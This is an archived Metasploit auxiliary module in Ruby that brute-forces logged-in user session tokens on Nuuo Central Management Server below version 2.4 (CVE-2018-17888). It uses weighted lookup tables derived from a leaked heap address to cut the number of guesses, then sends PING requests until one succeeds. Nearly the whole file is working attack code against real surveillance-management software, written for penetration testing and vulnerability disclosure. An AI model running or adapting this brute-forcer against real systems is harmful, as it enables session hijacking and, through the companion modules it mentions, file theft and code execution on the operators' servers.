##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the metasploit framework.

require 'benchmark'

# The following versions were tested:
# - 1.5.2 OK (with new table)
# - 2.1.0 OK
# - 2.3.0 OK

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Nuuo
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nuuo Central Management Server User Session Token Bruteforce',
      'Description'    => %q{
        Nuuo Central Management Server below version 2.4 has a flaw where it sends the
        heap address of the user object instead of a real session number when a user logs
        in. This can be used to reduce the keyspace for the session number from 10 million
        to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries.
        This module does exactly that - it uses a computed occurence table to try the most common
        combinations up to 1.2 million to try to guess a valid user session.
        This session number can then be used to achieve code execution or download files - see
        the other Nuuo CMS auxiliary and exploit modules.
        Note that for this to work a user has to be logged into the system.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2018-17888' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]

        ],
      'Platform'       => ['win'],
      'DisclosureDate'  => 'Oct 11 2018'))
  end

  # These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the  responses.
  # Table id: hex-nu-mod

  # 2621440 total combinations for both 1.X and 2.X versions
  # 2.X versions only have 1048576 combinations, and this table will run through them first
  WEIGHTED_ARRAY_7 =
    ["2", "1"],
    ["4", "6", "5", "7", "8", "2", "0", "1", "f", "e"],
    ["1", "6", "0", "8", "d", "7", "c", "e", "2", "b", "f", "3", "5", "4", "a", "9"],
    ["d", "6", "4", "5", "f", "0", "8", "7", "a", "3", "1", "b", "c", "e", "9", "2"],
    ["3", "e", "f", "1", "c", "5", "9", "d", "8", "6", "0", "4", "a", "2", "b", "7"],
    ["d", "4", "2", "b", "3", "6", "8", "1", "a", "7", "f", "e", "0", "9", "5", "c"],
    ["8", "0"]

  # 189000 total combinations
  # Only tested (only applies?) to 2.X versions
  # These are only tried if WEIGHTED_ARRAY_7 fails
  WEIGHTED_ARRAY_6 =
    ["9", "a"],
    ["7", "c", "6", "f", "e", "a", "d", "9", "4", "5", "3", "2", "b", "0", "8"],
    ["7", "b", "6", "d", "a", "3", "4", "f", "5", "1", "8", "e", "c", "2"],
    ["3", "1", "c", "f", "d", "4", "b", "a", "6", "2", "5", "e", "8", "9", "0"],
    ["3", "6", "7", "b", "e", "9", "2", "f", "4", "1", "c", "a", "0", "d", "8"],
    ["0", "8"]


  def session_number_list(weighted_array)
    # Let's calculate all the possible combinations
    length = Array.new(weighted_array.length)
    for i in (0..weighted_array.length-1)
      length[i] = weighted_array[i].length
    end
    counter = Array.new(weighted_array.length)
    for i in (0..weighted_array.length-1)
      counter[i] = 0
    end
    total = 1
    for len in length
      total *= len.to_i
    end

    print_status("Generating " + total.to_s + " session tokens")
    final_list = Array.new

    # code below taken from https://gist.github.com/Yengas/9010715
    (total).times {
      if weighted_array.length == 6
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]]
      elsif weighted_array.length == 7
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]]
      else
        # assume size == 8
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]]
      end

      # Find value of current combination by concatenating corresponding values of counters in the inner-arrays
      # Then we increment the value of the counter so we go on to the next combination.
      for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0
        if counter[index] + 1 < length[index] then # If counter index can be incremented
            counter[index] += 1; # Increment the counter index
            break; # Stop the incrementation/go to the next combination printing/incrementing.
        end
        counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index.
      end
    }

    full_list = Array.new
    final_list.each { |x|
      full_list << x.to_i(16)
    }

    return full_list
  end

  def session_bruteforce_list(weighted_array)
    list = session_number_list(weighted_array)
    for session in list
      @session = session
      data = send_msg(["PING"])
      @counter += 1
      if data[0] =~ /OK/ || data[0] =~ /612/
        return session
      end
    end
    return nil
  end

  def run
    @counter = 0
    print_status("Bruteforcing session - this might take a while, go get some coffee!")
    session = nil
    time = Benchmark.realtime {
      session = session_bruteforce_list(WEIGHTED_ARRAY_7)
      if session == nil
        print_error("Failed to bruteforce, trying with the less likely numbers as a last resort...")
        session = session_bruteforce_list(WEIGHTED_ARRAY_6)
      end
    }
    if session == nil
      fail_with(Failure::Unknown, "Failed to bruteforce user session.")
    else
      print_good("Found valid user session: #{session.to_s}")
      print_status("Time taken: #{time.to_s} seconds; total tries #{@counter.to_s}")
    end
  end
end
